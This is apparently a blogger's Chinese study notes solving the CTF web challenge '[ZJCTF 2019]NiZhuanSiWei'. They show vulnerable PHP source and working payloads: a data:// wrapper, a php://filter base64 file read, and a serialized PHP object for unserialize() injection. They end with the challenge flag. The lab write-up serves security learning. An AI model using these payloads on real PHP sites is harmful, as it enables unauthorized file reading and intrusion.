【NSSCTF]ctfweb题目-学习笔记 2day ==>[ZJCTF 2019]NiZhuanSiWei

前言

使用的靶场平台:主页 | NSSCTF

[ZJCTF 2019]NiZhuanSiWei

第一层

首先可以看到着道题目有几个传参,说明有很多层绕过。

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; #传入text参数
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

首先看到第一个传入text的,这里有个file_get_contents函数,我们可以去研究一下这个函数有什么作用

file_get_contents() 函数把整个文件读入一个字符串中。

和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。

file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持,还会使用内存映射技术来增强性能。

语法:file_get_contents(path,include_path,context,start,max_length)

参数描述
path
必需。规定要读取的文件。
include_path
可选。如果也想在 include_path 中搜寻文件的话,可以将该参数设为 "1"。
context

可选。规定文件句柄的环境。

context 是一套可以修改流的行为的选项。若使用 null,则忽略。

start可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 新加的。
max_length
可选。规定读取的字节数。该参数是 PHP 5.1 新加的。

所以上面:if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

的意思就是读取变量text的值,并且 等于 "welcome to the zjctf"

那我们只需要 PHP的伪协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

我们用伪协议来输入文本

?text=data://text/plain,welcome to the zjctf

 说明我们构造的是对的。

第二层

    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

可以看到这个把 flag 给过滤了,后面又提示useless.php,说明我们需要打开useless.php

看到include函数,我们就想到了文件包含漏洞,我们直接构造payload

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

 

第三层

用base64解一下

得到:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

看到这是个反序列化的代码

我们直接找一个PHP编辑器就得了

 得到了:

O:4:"Flag":1:{s:4:"file";N;}  

那我们最后的payload:

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

NSSCTF{05d41b34-4f0a-49f0-8d72-b9b5954ad587}

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值